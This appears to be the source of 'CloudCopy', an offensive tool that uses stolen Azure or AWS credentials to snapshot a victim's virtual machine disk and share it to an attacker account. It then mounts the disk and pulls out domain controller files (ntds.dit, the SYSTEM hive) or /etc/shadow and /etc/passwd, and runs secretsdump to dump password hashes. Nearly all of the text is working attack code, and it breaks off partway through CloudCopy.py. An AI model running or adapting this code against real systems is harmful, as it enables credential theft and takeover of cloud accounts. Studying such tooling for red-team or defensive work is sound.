├── AzureCloudCopy.py ├── CloudCopy.py ├── CloudCopyUtils.py ├── README.md ├── __init__.py ├── _config.yml ├── demos ├── encrypted.gif └── unencrypted.gif └── setup.py /AzureCloudCopy.py: -------------------------------------------------------------------------------- 1 | import time 2 | import uuid 3 | from pathlib import Path 4 | 5 | import paramiko 6 | from azure.common.client_factory import get_client_from_auth_file 7 | from azure.mgmt.compute import ComputeManagementClient 8 | from azure.mgmt.compute.v2016_04_30_preview.models import DiskCreateOption 9 | from azure.mgmt.network import NetworkManagementClient 10 | from azure.mgmt.resource import ResourceManagementClient 11 | from azure.mgmt.storage import StorageManagementClient 12 | from azure.storage.blob import BlockBlobService 13 | 14 | 15 | class AzureCloudCopy: 16 | 17 | def __init__(self, options): 18 | self.region = options["azureregion"] 19 | self.vmPassword = options["attackinstancepassword"] 20 | self.myAvailabilitySetName = "av-" + str(uuid.uuid4()) 21 | self.myIpAddressName = "myip-" + str(uuid.uuid4()) 22 | self.myVmNetName = "myvmnet-" + str(uuid.uuid4()) 23 | self.mySubetName = "mysubnet-" + str(uuid.uuid4()) 24 | self.myIpConfig = "myipconfig-" + str(uuid.uuid4()) 25 | self.myNic = "mynic-" + str(uuid.uuid4()) 26 | self.vmName = "vm-" + str(uuid.uuid4()) 27 | self.resourceId = '' 28 | self.controlledSnapshot = None 29 | self.vm = None 30 | self.diskId = '' 31 | 32 | self.victimComputeClient = get_client_from_auth_file(ComputeManagementClient, 33 | Path(options['victimauthfile']).absolute()) 34 | self.victimResourceClient = get_client_from_auth_file(ResourceManagementClient, 35 | Path(options['victimauthfile']).absolute()) 36 | self.attackerComputeClient = get_client_from_auth_file(ComputeManagementClient, 37 | Path(options['attackerauthfile']).absolute()) 38 | self.attackerStorageClient = get_client_from_auth_file(StorageManagementClient, 39 | Path(options['attackerauthfile']).absolute()) 40 | self.network_client = get_client_from_auth_file(NetworkManagementClient, 41 | Path(options['attackerauthfile']).absolute()) 42 | self.clientContext = self.victimComputeClient 43 | 44 | def getStorageAccounts(self): 45 | return list(self.attackerStorageClient.storage_accounts.list_by_resource_group(self.resourceId)) 46 | 47 | def getStorageAccountKey(self, storageAccountName): 48 | return self.attackerStorageClient.storage_accounts.list_keys(self.resourceId, storageAccountName).keys[0].value 49 | 50 | def getStorageAccountContainers(self, storageAccountName, storageAccountKey): 51 | blockBlobService = BlockBlobService(account_name=storageAccountName, account_key=storageAccountKey) 52 | return list(blockBlobService.list_containers()) 53 | 54 | def getResourceGroups(self): 55 | return list(self.victimResourceClient.resource_groups.list()) 56 | 57 | def getVMs(self): 58 | return list(self.clientContext.virtual_machines.list(self.resourceId)) 59 | 60 | def createShareableSnapshot(self, resourceId, snapshotName): 61 | # instances, dcDSnapshot 62 | poller = self.clientContext.snapshots.grant_access(resourceId, snapshotName, "read", 3600) 63 | 64 | while not poller.done(): 65 | poller.wait(10) 66 | 67 | return poller.result().access_sas 68 | 69 | def createSnapshot(self, resourceId, snapshotName, diskId): 70 | poller = self.clientContext.snapshots.create_or_update(resourceId, 71 | snapshotName, 72 | self.clientContext.snapshots.models.Snapshot( 73 | location=self.region, 74 | creation_data=self.clientContext.snapshots.models.CreationData( 75 | create_option="Copy", 76 | source_uri=diskId 77 | ) 78 | ) 79 | ) 80 | while not poller.done(): 81 | poller.wait(10) 82 | # returns a Snapshot object 83 | return poller.result() 84 | 85 | def copySnapshotToAttacker(self, storageAccount, storageKey, containerName, blobName, snapshotSas): 86 | blockBlobService = BlockBlobService(account_name=storageAccount, account_key=storageKey) 87 | copyProperties = blockBlobService.copy_blob(containerName, blobName, snapshotSas) 88 | while copyProperties.status != "success": 89 | copyProperties = blockBlobService.get_blob_properties(containerName, blobName).properties.copy 90 | print(copyProperties.status + ":" + copyProperties.progress) 91 | time.sleep(10) 92 | return copyProperties 93 | 94 | def convertCopiedBlobToSnapshot(self, resourceId, storageAccount, containerName, blobId, snapshotId): 95 | poller = self.clientContext.snapshots.create_or_update(resourceId, 96 | snapshotId, 97 | self.clientContext.snapshots.models.Snapshot( 98 | location=self.region, 99 | creation_data=self.clientContext.snapshots.models.CreationData( 100 | create_option="Import", 101 | source_uri=storageAccount.primary_endpoints.blob + containerName + "/" + blobId, 102 | storage_account_id=storageAccount.id 103 | ) 104 | ) 105 | ) 106 | while not poller.done(): 107 | poller.wait(10) 108 | # returns a Snapshot object 109 | return poller.result() 110 | 111 | def pickResourceGroup(self): 112 | resourceGroups = self.getResourceGroups() 113 | for index, resourceGroup in enumerate(resourceGroups): 114 | print(str(index) + ' - ' + resourceGroup.name) 115 | 116 | inp = input("which resource group is our target instance under? (# or exit to go back) ") 117 | if inp != 'exit': 118 | try: 119 | self.resourceId = resourceGroups[int(inp)].name 120 | return True 121 | except ValueError: 122 | return False 123 | else: 124 | return False 125 | 126 | def pickVmToSteal(self): 127 | vms = self.getVMs() 128 | for index, vm in enumerate(vms): 129 | print(str(index) + ' - ' + vm.name) 130 | 131 | inp = input("which virtual machine are we stealing? (# or exit to go back) ") 132 | if inp != 'exit': 133 | try: 134 | instanceView = self.clientContext.virtual_machines.instance_view(self.resourceId, vms[int(inp)].name) 135 | for index, disk in enumerate(instanceView.disks): 136 | print(str(index) + ' - ' + disk.name) 137 | 138 | inp = input("which disk are we stealing? (# or exit to go back) ") 139 | if inp != 'exit': 140 | self.diskId = self.clientContext.disks.get(self.resourceId, instanceView.disks[int(inp)].name).id 141 | return True 142 | else: 143 | return False 144 | except ValueError: 145 | return False 146 | else: 147 | return False 148 | 149 | def generateSnapshot(self): 150 | 151 | # create a snapshot from selected vm disk 152 | snapshot = self.createSnapshot(self.resourceId, str(uuid.uuid4()), self.diskId) 153 | print("created the snapshot") 154 | 155 | # create shareable link to snapshot 156 | accessUrl = self.createShareableSnapshot(self.resourceId, snapshot.name) 157 | print("made snapshot shareable") 158 | 159 | # get storageaccounts on attacker subscription 160 | storageAccount = self.getStorageAccounts()[0] 161 | print("found valid storage account to receive snapshot") 162 | 163 | # get storageAccount key 164 | storageAccountKey = self.getStorageAccountKey(storageAccount.name) 165 | print("got key for storage account") 166 | 167 | # get containers 168 | containers = self.getStorageAccountContainers(storageAccount.name, storageAccountKey) 169 | print("found valid container inside storage account") 170 | 171 | # share snapshot blob with attacker account 172 | newBlobId = str(uuid.uuid4()) + ".vhd" 173 | sharedSnapshot = self.copySnapshotToAttacker(storageAccount.name, storageAccountKey, containers[0].name, 174 | newBlobId, accessUrl) 175 | while sharedSnapshot.status != "success": 176 | print(sharedSnapshot.progress) 177 | print("successfully received snapshot. Switching to attacker context.") 178 | clientContext = self.attackerComputeClient 179 | 180 | # convert snapshot blob to real snapshot 181 | # print(convertCopiedBlobToSnapshot(resourceId, storageAccount, containers[0].name, "5f67cd67-cad7-486e-9300-2b7988d65ad2", str(uuid.uuid4())+".vhd")) 182 | poller = clientContext.snapshots.create_or_update(self.resourceId, 183 | str(uuid.uuid4()) + ".vhd", 184 | clientContext.snapshots.models.Snapshot( 185 | location=self.region, 186 | creation_data=clientContext.snapshots.models.CreationData( 187 | create_option="Import", 188 | source_uri=storageAccount.primary_endpoints.blob + 189 | containers[0].name + "/" + newBlobId, 190 | storage_account_id=storageAccount.id 191 | ) 192 | ) 193 | ) 194 | while not poller.done(): 195 | poller.wait(10) 196 | # returns a Snapshot object 197 | self.controlledSnapshot = poller.result() 198 | print("successfully converted blog to snapshot. Now we can add it to a VM.") 199 | return True 200 | 201 | def create_availability_set(self, compute_client): 202 | avset_params = { 203 | 'location': self.region, 204 | 'sku': {'name': 'Aligned'}, 205 | 'platform_fault_domain_count': 3 206 | } 207 | compute_client.availability_sets.create_or_update( 208 | self.resourceId, 209 | self.myAvailabilitySetName, 210 | avset_params 211 | ) 212 | 213 | def create_public_ip_address(self, network_client): 214 | public_ip_addess_params = { 215 | 'location': self.region, 216 | 'public_ip_allocation_method': 'Dynamic' 217 | } 218 | creation_result = network_client.public_ip_addresses.create_or_update( 219 | self.resourceId, 220 | self.myIpAddressName, 221 | public_ip_addess_params 222 | ) 223 | 224 | return creation_result.result() 225 | 226 | def create_vnet(self, network_client): 227 | vnet_params = { 228 | 'location': self.region, 229 | 'address_space': { 230 | 'address_prefixes': ['10.0.0.0/16'] 231 | } 232 | } 233 | creation_result = network_client.virtual_networks.create_or_update( 234 | self.resourceId, 235 | self.myVmNetName, 236 | vnet_params 237 | ) 238 | return creation_result.result() 239 | 240 | def create_subnet(self, network_client): 241 | subnet_params = { 242 | 'address_prefix': '10.0.0.0/24' 243 | } 244 | creation_result = network_client.subnets.create_or_update( 245 | self.resourceId, 246 | self.myVmNetName, 247 | self.mySubetName, 248 | subnet_params 249 | ) 250 | 251 | return creation_result.result() 252 | 253 | def create_nic(self, network_client): 254 | subnet_info = self.network_client.subnets.get( 255 | self.resourceId, 256 | self.myVmNetName, 257 | self.mySubetName 258 | ) 259 | publicIPAddress = self.network_client.public_ip_addresses.get( 260 | self.resourceId, 261 | self.myIpAddressName 262 | ) 263 | nic_params = { 264 | 'location': self.region, 265 | 'ip_configurations': [{ 266 | 'name': self.myIpConfig, 267 | 'public_ip_address': publicIPAddress, 268 | 'subnet': { 269 | 'id': subnet_info.id 270 | } 271 | }] 272 | } 273 | creation_result = self.network_client.network_interfaces.create_or_update( 274 | self.resourceId, 275 | self.myNic, 276 | nic_params 277 | ) 278 | 279 | return creation_result.result() 280 | 281 | def create_vm(self, network_client, compute_client): 282 | nic = network_client.network_interfaces.get( 283 | self.resourceId, 284 | self.myNic 285 | ) 286 | avset = compute_client.availability_sets.get( 287 | self.resourceId, 288 | self.myAvailabilitySetName 289 | ) 290 | vm_parameters = { 291 | 'location': self.region, 292 | 'os_profile': { 293 | 'computer_name': self.vmName, 294 | 'admin_username': 'azureuser', 295 | 'admin_password': self.vmPassword 296 | }, 297 | 'hardware_profile': { 298 | 'vm_size': 'Standard_DS1' 299 | }, 300 | 'storage_profile': { 301 | 'image_reference': { 302 | 'publisher': 'Canonical', 303 | 'offer': 'UbuntuServer', 304 | 'sku': '18.04-LTS', 305 | 'version': 'latest' 306 | } 307 | }, 308 | 'network_profile': { 309 | 'network_interfaces': [{ 310 | 'id': nic.id 311 | }] 312 | }, 313 | 'availability_set': { 314 | 'id': avset.id 315 | } 316 | } 317 | creation_result = compute_client.virtual_machines.create_or_update( 318 | self.resourceId, 319 | self.vmName, 320 | vm_parameters 321 | ) 322 | 323 | return creation_result.result() 324 | 325 | def createVmWithSnapshot(self): 326 | self.create_availability_set(self.attackerComputeClient) 327 | print("created availability set") 328 | self.create_public_ip_address(self.network_client) 329 | print("created vm IP") 330 | self.create_vnet(self.network_client) 331 | print("created virtual network") 332 | self.create_subnet(self.network_client) 333 | print("created subnet") 334 | self.create_nic(self.network_client) 335 | print("created NIC") 336 | self.create_vm(self.network_client, self.attackerComputeClient) 337 | print("created VM") 338 | 339 | diskName = "stolen-" + str(uuid.uuid4()) 340 | 341 | disk = self.attackerComputeClient.disks.create_or_update(resource_group_name=self.resourceId, 342 | disk_name=diskName, 343 | disk=self.attackerComputeClient.disks.models.Disk( 344 | location=self.region, 345 | creation_data=self.attackerComputeClient.disks.models.CreationData( 346 | create_option="Copy", 347 | source_resource_id=self.controlledSnapshot.id))) 348 | 349 | disk_resource = disk.result() 350 | print("created disk from snapshot") 351 | print(disk_resource.id) 352 | vm = self.attackerComputeClient.virtual_machines.get(self.resourceId, self.vmName) 353 | vm.storage_profile.data_disks.append({ 354 | 'lun': 1, 355 | 'name': diskName, 356 | 'create_option': DiskCreateOption.attach, 357 | 'managed_disk': { 358 | 'id': disk_resource.id 359 | } 360 | }) 361 | 362 | vm_result = self.attackerComputeClient.virtual_machines.create_or_update( 363 | self.resourceId, 364 | self.vmName, 365 | vm) 366 | while vm_result.status() != "Succeeded": 367 | print(vm_result.status()) 368 | time.sleep(10) 369 | 370 | print("attached disk to vm, time to get our creds") 371 | self.vm = vm_result 372 | return True 373 | 374 | def connectToInstance(self, instanceIp): 375 | connection = paramiko.SSHClient() 376 | connection.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 377 | print("Connecting to instance") 378 | connected = False 379 | while not connected: 380 | try: 381 | connection.connect(hostname=instanceIp, username='azureuser', password=self.vmPassword) 382 | connected = True 383 | except paramiko.ssh_exception.NoValidConnectionsError: 384 | print("Can't connect yet, instance may still be warming up. Trying again in 10s") 385 | time.sleep(10) 386 | except TimeoutError: 387 | print("Timeout in connection, security rules are borked. Cleaning up") 388 | return None, None 389 | sftp = connection.open_sftp() 390 | return connection, sftp 391 | 392 | # SSH's into the instance mounts the DC snapshot copies the ntds.dit and SYSTEM file gives ownership to ec2-user 393 | # SFTP's into the instance and downloads the ntds.dit and SYSTEM file locally 394 | # runs impacket's secretsdump tool to recreate the hashes. Expects secretsdump to be on your path. 395 | def stealDCHashFiles(self): 396 | outfileUid = str(uuid.uuid4()) 397 | connection, sftp = self.connectToInstance( 398 | self.network_client.public_ip_addresses.get(self.resourceId, self.myIpAddressName).ip_address) 399 | if connection and sftp: 400 | # have to block on these calls to ensure they happen in order 401 | stdin, stdout, stderr = connection.exec_command( 402 | "sudo apt-get install ntfs-3g -y") 403 | stdout.channel.recv_exit_status() 404 | stdin, stdout, stderr = connection.exec_command( 405 | "sudo mkdir /winblows") 406 | print("made windows dir") 407 | stdout.channel.recv_exit_status() 408 | 409 | stdin, stdout, stderr = connection.exec_command( 410 | "sudo ntfsfix /dev/sdc2") 411 | print("fixing drive") 412 | stdout.channel.recv_exit_status() 413 | 414 | stdin, stdout, stderr = connection.exec_command( 415 | "sudo /bin/mount -r -t ntfs-3g /dev/sdc2 /winblows/") 416 | print("mounted the drive") 417 | stdout.channel.recv_exit_status() 418 | stdin, stdout, stderr = connection.exec_command( 419 | "sudo cp /winblows/Windows/NTDS/ntds.dit /home/azureuser/ntds.dit") 420 | print("copied ntds.dit") 421 | stdout.channel.recv_exit_status() 422 | stdin, stdout, stderr = connection.exec_command( 423 | "sudo cp /winblows/Windows/System32/config/SYSTEM /home/azureuser/SYSTEM") 424 | print("copied SYSTEM hive") 425 | stdout.channel.recv_exit_status() 426 | stdin, stdout, stderr = connection.exec_command( 427 | "sudo chown azureuser:azureuser /home/azureuser/ntds.dit;sudo chown azureuser:azureuser /home/azureuser/SYSTEM;") 428 | print("making sure we own the files") 429 | stdout.channel.recv_exit_status() 430 | print("finished configuring instance to grab Hash Files") 431 | print("Pulling the files...") 432 | try: 433 | sftp.get("/home/azureuser/SYSTEM", "./SYSTEM-" + outfileUid) 434 | print("SYSTEM registry hive file retrieval complete") 435 | sftp.get("/home/azureuser/ntds.dit", "./ntds.dit-" + outfileUid) 436 | print("ntds.dit registry hive file retrieval complete") 437 | sftp.close() 438 | connection.close() 439 | print("finally gonna run secretsdump!") 440 | except Exception: 441 | print("hmm copying files didn't seem to work. Maybe just sftp in yourself and run this part.") 442 | try: 443 | import platform 444 | import subprocess 445 | if platform.system() == "Windows": 446 | subprocess.run( 447 | ["C:\Python27\Scripts\secretsdump.py", "-system", "./SYSTEM-" + outfileUid, "-ntds", 448 | "./ntds.dit-" + outfileUid, "local", 449 | "-outputfile", "secrets-" + outfileUid], shell=True) 450 | else: 451 | subprocess.run( 452 | ["secretsdump.py", "-system", "./SYSTEM-" + outfileUid, "-ntds", "./ntds.dit-" + outfileUid, 453 | "local", 454 | "-outputfile", "secrets-" + outfileUid]) 455 | except FileNotFoundError: 456 | print("hmm can't seem to find secretsdump on your path. Run this manually against the files.") 457 | 458 | def stealShadowPasswd(self): 459 | outfileUid = str(uuid.uuid4()) 460 | connection, sftp = self.connectToInstance( 461 | self.network_client.public_ip_addresses.get(self.resourceId, self.myIpAddressName).ip_address) 462 | # have to block on these calls to ensure they happen in order 463 | _, stdout, stderr = connection.exec_command("sudo mkdir /linux") 464 | stdout.channel.recv_exit_status() 465 | print(stderr.readlines()) 466 | print("made directory") 467 | _, stdout, stderr = connection.exec_command("sudo mount /dev/sdc1 /linux/") 468 | stdout.channel.recv_exit_status() 469 | print(stderr.readlines()) 470 | print("mounted the drive") 471 | _, stdout, stderr = connection.exec_command("sudo cp /linux/etc/shadow /home/azureuser/shadow") 472 | stdout.channel.recv_exit_status() 473 | print(stderr.readlines()) 474 | print("copy shadow file") 475 | _, stdout, stderr = connection.exec_command("sudo cp /linux/etc/passwd /home/azureuser/passwd") 476 | stdout.channel.recv_exit_status() 477 | print(stderr.readlines()) 478 | print("copy passwd file") 479 | _, stdout, stderr = connection.exec_command("sudo chown azureuser:azureuser /home/azureuser/*") 480 | print(stderr.readlines()) 481 | print("change ownership of copied files") 482 | stdout.channel.recv_exit_status() 483 | print("finished configuring instance to grab Shadow and Passwd files") 484 | print("Pulling the files...") 485 | try: 486 | sftp.get("/home/azureuser/shadow", "./shadow-" + outfileUid) 487 | print("/etc/shadow file retrieval complete") 488 | sftp.get("/home/azureuser/passwd", "./passwd-" + outfileUid) 489 | print("/etc/passwd file retrieval complete") 490 | sftp.close() 491 | connection.close() 492 | except Exception: 493 | print("hmm copying files didn't seem to work. Maybe just sftp in yourself and run this part.") 494 | -------------------------------------------------------------------------------- /CloudCopy.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | import glob 3 | import os 4 | import re 5 | import shlex 6 | 7 | try: 8 | import readline 9 | # readline is weird on some systems 10 | if 'libedit' in readline.__doc__: 11 | readline.parse_and_bind("bind ^I rl_complete") 12 | else: 13 | readline.parse_and_bind("tab: complete") 14 | except (ImportError, TypeError): 15 | import pyreadline as readline 16 | 17 | from CloudCopyUtils import CloudCopyUtils 18 | from AzureCloudCopy import * 19 | 20 | # These might change, I'll probably forget to update it 21 | REGIONS = ['us-east-2', 'us-east-1', 'us-west-1', 'us-west-2', 'ap-east-1', 22 | 'ap-south-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2', 23 | 'ap-northeast-1', 'ca-central-1', 'cn-north-1', 'cn-northwest-1', 24 | 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'eu-north-1', 25 | 'sa-east-1', 'us-gov-east-1', 'us-gov-west-1'] 26 | 27 | AZURE_REGIONS = ['Central US', 'East US 2', 'East US', 'North Central US', 'South Central US', 'West US 2', 28 | 'West Central US', 'West US', 'Canada Central', 'Canada East', 'Brazil South'] 29 | ''' 30 | This class is the base command interpreter that handles the user input. 31 | Different attacks or modes extend this and add new commands. 32 | ''' 33 | class BaseCmdInterpreter(cmd.Cmd): 34 | 35 | def __init__(self): 36 | self.options = {} 37 | super(BaseCmdInterpreter, self).__init__() 38 | 39 | def cmdloop(self, intro=None): 40 | return super(BaseCmdInterpreter, self).cmdloop() 41 | 42 | def do_shell(self, line): 43 | """Run a shell command""" 44 | output = os.popen(line).read() 45 | print(output) 46 | 47 | def do_exit(self, args): 48 | return True 49 | 50 | def emptyline(self): 51 | pass 52 | 53 | # helper for tab completing file paths when setting 'victimprofile/attackerprofile'. Expects ~/.aws/credentials file 54 | def _complete_profiles(self): 55 | from os.path import expanduser 56 | home = expanduser("~") 57 | credentials = open(home+"/.aws/credentials").read() 58 | profiles = re.findall('\[.+\]', credentials) 59 | return list(map(lambda x:x[1:-1], profiles)) 60 | 61 | def _complete_azure_profiles(self, path): 62 | if os.path.isdir(path): 63 | return glob.glob(os.path.join(path, '*')) 64 | else: 65 | return glob.glob(path + '*') 66 | 67 | # lists results from previous 'stealDCHashes' attempt. If the 'secrets*' files have been moved this returns nothing 68 | def do_list_hashes(self, args): 69 | """list_hashes 70 | Display previously gained hashes""" 71 | secrets = glob.glob("./secrets*") 72 | if len(secrets) > 0: 73 | for secret in secrets: 74 | print(open(secret).read()) 75 | else: 76 | print("no hashes found yet") 77 | 78 | def do_set(self, line): 79 | """set [property] [value] 80 | Set the CloudCopy properties""" 81 | arguments = [l for l in line.split()] 82 | if len(arguments) < 2: 83 | print("Not enough arguments") 84 | else: 85 | self.options[arguments[0]] = " ".join(arguments[1:]) 86 | 87 | def printGap(self): 88 | print('---------------------------------------------------------') 89 | 90 | # auto complete helper for setting options 91 | def complete_set(self, text, line, begidx, endidx): 92 | options = self.options.keys() 93 | if 'azureregion' in line: 94 | if text: 95 | completions = [f 96 | for f in AZURE_REGIONS 97 | if f.startswith(text) 98 | ] 99 | else: 100 | completions = AZURE_REGIONS 101 | elif 'authfile' in line: 102 | try: 103 | glob_prefix = line[:endidx] 104 | 105 | # add a closing quote if necessary 106 | quote = ['', '"', "'"] 107 | while len(quote) > 0: 108 | try: 109 | split = [s for s in shlex.split(glob_prefix + quote[0]) if s.strip()] 110 | except ValueError as ex: 111 | assert str(ex) == 'No closing quotation', 'Unexpected shlex error' 112 | quote = quote[1:] 113 | else: 114 | break 115 | assert len(quote) > 0, 'Could not find closing quotation' 116 | 117 | # select relevant line segment 118 | glob_prefix = split[-1] if len(split) > 1 else '' 119 | 120 | # expand tilde 121 | glob_prefix = os.path.expanduser(glob_prefix) 122 | 123 | # find matches 124 | matches = glob.glob(glob_prefix + '*') 125 | 126 | # append os.sep to directories 127 | matches = [match + "/" if Path(match).is_dir() else match for match in matches] 128 | 129 | # cutoff prefixes 130 | cutoff_idx = len(glob_prefix) - len(text) 131 | matches = [match[cutoff_idx:].replace("\\", "/") for match in matches] 132 | 133 | return matches 134 | except: 135 | print("error while parsing file path") 136 | elif 'region' in line: 137 | if text: 138 | completions = [f 139 | for f in REGIONS 140 | if f.startswith(text) 141 | ] 142 | else: 143 | completions = REGIONS 144 | elif 'Profile' in line: 145 | if text: 146 | completions = [f 147 | for f in self._complete_profiles() 148 | if f.startswith(text)] 149 | else: 150 | completions = self._complete_profiles() 151 | else: 152 | completions = [f 153 | for f in options 154 | if f.startswith(text) 155 | ] 156 | return completions 157 | 158 | def do_show_options(self, args): 159 | """show_options 160 | Show CloudCopy properties and their currently set values""" 161 | for option in self.options: 162 | if self.options[option] != '': 163 | if option == 'attackeraccountid': 164 | print(option + " = " + self.options[option][0:2] + "*" * 6 + self.options[option][-2:-1]) 165 | elif 'Key' in option: 166 | print(option + " = " + self.options[option][0:2] + "*" * 6 + self.options[option][-2:-1]) 167 | else: 168 | print(option + " = " + self.options[option]) 169 | else: 170 | print(option + " = " + self.options[option]) 171 | 172 | 173 | ''' 174 | Generic CloudCopy class for Azure that the Service Principal access type extends from 175 | ''' 176 | 177 | 178 | class BaseAzureCloudCopy(BaseCmdInterpreter): 179 | 180 | def __init__(self, parentOptions): 181 | BaseCmdInterpreter.__init__(self) 182 | self.cloudCopier = None 183 | self.options = parentOptions 184 | 185 | # runs the cleanup function manually so users have control of when the instance dies 186 | def do_cleanup(self, args): 187 | if self.cloudCopier: 188 | self.cloudCopier.cleanup() 189 | else: 190 | print("Nothing to cleanup") 191 | 192 | def initCloudCopy(self): 193 | if '' not in [value for key, value in self.options.items()]: 194 | try: 195 | print(self.options) 196 | self.cloudCopier = AzureCloudCopy(self.options) 197 | return self.cloneNewInstance() 198 | except Exception as e: 199 | print(e) 200 | print("Error creating instance or getting client") 201 | return False 202 | else: 203 | print("Your forgot to set some properties. Make sure that no properties in 'show_options' is set to '' ") 204 | return False 205 | 206 | def do_stealShadowPasswd(self, args): 207 | if self.initCloudCopy(): 208 | self.cloudCopier.stealShadowPasswd() 209 | 210 | # steals SYSTEM and NTDS.dit file 211 | def do_stealDCHashes(self, args): 212 | if self.initCloudCopy(): 213 | self.cloudCopier.stealDCHashFiles() 214 | 215 | # helper for performing the CloudCopy attack from scratch 216 | def cloneNewInstance(self): 217 | try: 218 | if self.cloudCopier.pickResourceGroup(): 219 | self.printGap() 220 | if self.cloudCopier.pickVmToSteal(): 221 | self.printGap() 222 | if self.cloudCopier.generateSnapshot(): 223 | self.printGap() 224 | if self.cloudCopier.createVmWithSnapshot(): 225 | self.printGap() 226 | return True 227 | except KeyboardInterrupt: 228 | print("User cancelled cloudCopy, cleaning up...") 229 | self.cloudCopier.cleanup() 230 | return False 231 | 232 | 233 | ''' 234 | Generic CloudCopy class for AWS that the two access types extend off of 235 | Both access methods use the same path to steal DC hashes what 236 | changes is how you authenticate to AWS. Subclasses implement the 237 | stealDHashes method to perform the authentication 238 | ''' 239 | 240 | 241 | class BaseAWSCloudCopy(BaseCmdInterpreter): 242 | 243 | def __init__(self, parentOptions): 244 | BaseCmdInterpreter.__init__(self) 245 | self.cloudCopier = None 246 | self.options = parentOptions 247 | 248 | # runs the cleanup function manually so users have control of when the instance dies 249 | def do_cleanup(self, args): 250 | if self.cloudCopier: 251 | self.cloudCopier.cleanup() 252 | else: 253 | print("Nothing to cleanup") 254 | 255 | def initCloudCopy(self): 256 | if '' not in [value for key, value in self.options.items()]: 257 | self.cloudCopier = CloudCopyUtils({ 258 | 'type': 'profile' if self.__class__.__name__ == 'ProfileCloudCopy' else 'manual', 259 | 'options': self.options 260 | }) 261 | try: 262 | self.cloudCopier.createBotoClient() 263 | return self.cloneNewInstance() 264 | except Exception as e: 265 | print(e) 266 | print("Error creating instance or getting client") 267 | self.cloudCopier.cleanup() 268 | return False 269 | else: 270 | print("Your forgot to set some properties. Make sure that no properties in 'show_options' is set to '' ") 271 | return False 272 | 273 | def do_stealShadowPasswd(self, args): 274 | if self.initCloudCopy(): 275 | self.cloudCopier.stealShadowPasswd() 276 | 277 | # steals SYSTEM and NTDS.dit file 278 | def do_stealDCHashes(self, args): 279 | if self.initCloudCopy(): 280 | self.cloudCopier.stealDCHashFiles() 281 | 282 | # helper for performing the CloudCopy attack from scratch 283 | def cloneNewInstance(self): 284 | try: 285 | if self.cloudCopier.listInstances(): 286 | self.cloudCopier.printGap() 287 | if self.cloudCopier.createSnapshot(): 288 | self.cloudCopier.printGap() 289 | if self.cloudCopier.modifySnapshot(): # inflection point here that can fail if they encrypt drives 290 | self.cloudCopier.printGap() 291 | if self.cloudCopier.createVPC(): 292 | self.cloudCopier.printGap() 293 | if self.cloudCopier.createInternetGateway(): 294 | self.cloudCopier.printGap() 295 | if self.cloudCopier.createSecurityGroup(): 296 | self.cloudCopier.printGap() 297 | if self.cloudCopier.createSubnet(): 298 | self.cloudCopier.printGap() 299 | if self.cloudCopier.createKeyPair(): 300 | self.cloudCopier.printGap() 301 | if self.cloudCopier.createInstance(): 302 | self.cloudCopier.printGap() 303 | return True 304 | else: 305 | print( 306 | "The Domain Controller's volume is encrypted meaning we can't share the snapshots created " 307 | "from it with the attacker controlled account. We can possibly continue by creating the " 308 | "instance and security group on the victim account but this will create more AWS logs...") 309 | onward = input( 310 | "would you like to continue the CloudCopy attack using only the victim account? (Y/N)") 311 | self.cloudCopier.printGap() 312 | while onward not in ['y', 'Y', 'n', 'N']: 313 | print("only input y,Y,n,N") 314 | onward = input( 315 | "would you like to continue the CloudCopy attack using only the victim account? (Y/N)") 316 | if onward in ['y', 'Y']: 317 | # These will all happen under the context of the victim account, Good luck and Godspeed 318 | if self.cloudCopier.createVPC(): 319 | self.cloudCopier.printGap() 320 | if self.cloudCopier.createInternetGateway(): 321 | self.cloudCopier.printGap() 322 | if self.cloudCopier.createSecurityGroup(): 323 | self.cloudCopier.printGap() 324 | if self.cloudCopier.createSubnet(): 325 | self.cloudCopier.printGap() 326 | if self.cloudCopier.createKeyPair(): 327 | self.cloudCopier.printGap() 328 | if self.cloudCopier.createInstance(): 329 | self.cloudCopier.printGap() 330 | return True 331 | else: 332 | print("Sorry they encrypted their drives, better luck next time.") 333 | self.cloudCopier.cleanup() 334 | else: 335 | print("Snapshot failed being created. This is required for the attack. ") 336 | self.cloudCopier.cleanup() 337 | else: 338 | print("Invalid ec2 instance id. ") 339 | except KeyboardInterrupt: 340 | print("User cancelled cloudCopy, cleaning up...") 341 | self.cloudCopier.cleanup() 342 | return False 343 | 344 | 345 | ''' 346 | BaseAzureCloudCopy sub-class that uses Security Principle accounts to authenticate to Azure and perform CloudCopy 347 | ''' 348 | 349 | 350 | class AzureSecPrincipleCloudCopy(BaseAzureCloudCopy): 351 | 352 | def __init__(self, parentOptions): 353 | super(AzureSecPrincipleCloudCopy, self).__init__(parentOptions) 354 | self.prompt = "(Azure SecProfile CloudCopy)" 355 | self.options['victimauthfile'] = '/Users/Tanner/victimcredentials.json' 356 | self.options['attackerauthfile'] = '/Users/Tanner/mycredentials.json' 357 | self.options['attackinstancepassword'] = 'Superleetsecret1!' 358 | self.options['azureregion'] = 'EAST US' 359 | 360 | ''' 361 | BaseCloudCopy sub-class that uses .aws/credentials profiles to authenticate to AWS and perform CloudCopy 362 | ''' 363 | 364 | 365 | class ProfileCloudCopy(BaseAWSCloudCopy): 366 | 367 | def __init__(self, parentOptions): 368 | super(ProfileCloudCopy, self).__init__(parentOptions) 369 | self.prompt = "(Profile CloudCopy)" 370 | self.options['attackerProfile'] = '' # name of .aws/credentials profile that pertains to attacker account 371 | self.options['victimProfile'] = '' # name of .aws/credentials profile that pertains to victim account 372 | self.options['region'] = '' # AWS region for accessing the victim instance 373 | self.options[ 374 | 'attackeraccountid'] = '' # the id of the attacker owned AWS account that is used to share the snapshot with 375 | 376 | 377 | ''' 378 | BaseCloudCopy sub-class that uses user supplied credentials to authenticate to AWS and perform CloudCopy 379 | ''' 380 | 381 | 382 | class ManualCloudCopy(BaseAWSCloudCopy): 383 | 384 | def __init__(self, parentOptions): 385 | super(ManualCloudCopy, self).__init__(parentOptions) 386 | self.prompt = "(Manual CloudCopy)" 387 | self.options['attackerAccessKey'] = '' # AccessKey to attacker account 388 | self.options['attackerSecretKey'] = '' # SecretKey to attacker account 389 | self.options['victimAccessKey'] = '' # AccessKey to victim account 390 | self.options['victimSecretKey'] = '' # SecretKey to attacker account 391 | self.options['region'] = '' # AWS region for accessing the victim instance 392 | self.options[ 393 | 'attackeraccountid'] = '' # the id of the attacker owned AWS account that is used to share the snapshot with 394 | 395 | 396 | ''' 397 | BaseCmdInterpreter 